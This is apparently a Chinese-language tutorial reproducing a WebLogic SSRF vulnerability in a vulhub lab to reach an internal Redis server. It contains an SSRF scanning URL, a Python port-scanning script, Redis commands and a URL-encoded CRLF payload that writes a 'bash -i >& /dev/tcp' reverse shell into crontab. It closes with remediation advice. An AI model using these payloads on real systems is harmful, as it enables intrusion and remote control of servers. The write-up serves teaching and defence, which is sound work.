WebLogic SSRF漏洞攻击内网Redis以及反弹shell
漏洞概述:
-通俗的讲weblogci是一种web容器，首先判断redis(内网ip和端口)，由于Redis是通过换行符来分隔每条命令，可以通过传入%0a%0d来注入换行符，发送redis命令，将弹shell脚本写入/etc/crontab中(crontab是一个linux一个定时执行事件的一个程序)，然后getshell。
基本原理:
- SSRF漏洞：是一种由攻击者构造形成由服务端发起请求的漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统(正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
- SSRF成因：由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。简单来说就是，利用可以发送请求的服务器当作跳板来攻击内部其他的服务。
- SSRF绕过:借用一下，很全很棒。ssrf绕过
漏洞搭建：
- https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
漏洞复现：
首先利用SSRF漏洞进行redis端口探测，然后进行反弹shell。
-SSRF
漏洞存在于search，当搜索的时候，抓包的时候可以看到
然后把post改成get传值，operator参数存在ssrf
payload:http://xxx.xxx.xxx.xxx:xxxx[这个是WebLogic服务的IP]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://xxx.xxx.xxx.xxxx[这个是想要探测的内网IP]&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
查看An error has occurred 里面返回状态判断内网ip和端口(借用某大佬的)
了解到现在就可以进行redis探测了，可以写个小脚本，跑一下端口
import requests
for i in xrange(1,10000):
print i
url = "http://172.18.0.1:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:{port}".format(port=i)
r = requests.get(url)
if "Tried all" in r.content:
continue
else:
print "port---------------------"+ str(i)
exit(0)
然后尝试该端口是否正常，如图，返回是content-type
=null也就是请求开放的服务，因为开启6379，所以猜测为redis服务器
- 反弹shell
然后就可以构造反弹shell的命令
set xx "\n* * * * * bash -i >& /dev/tcp/xxxx/123 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
因为是get请求，所以要进行url编码，同时还是制定一个写入的文件，这里我就叫test，最终构造好为(%od%oa为换行符)
operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
然后即可获取shell
漏洞修复：
- 升级weblogic或将SearchPublicRegistries.jsp直接删除。
- 删除uddiexplorer文件夹或限制uddiexplorer应用只能内网访问。
- 也可以将uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
- 多说一句，对于ssrf的修复方案：
1， 用不需要的协议如（file，ftp，gopher）
2， 统一错误信息，避免用户可以根据错误信息来判断远程服务器端口状态。
3， 限制请求的端口为http常用的端口，比如，80,443,8080,8090。
4， 过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
5， 黑名单内网ip。避免应用被用来获取获取内网数据，攻击内网。
ps:余生很长，请多指教。
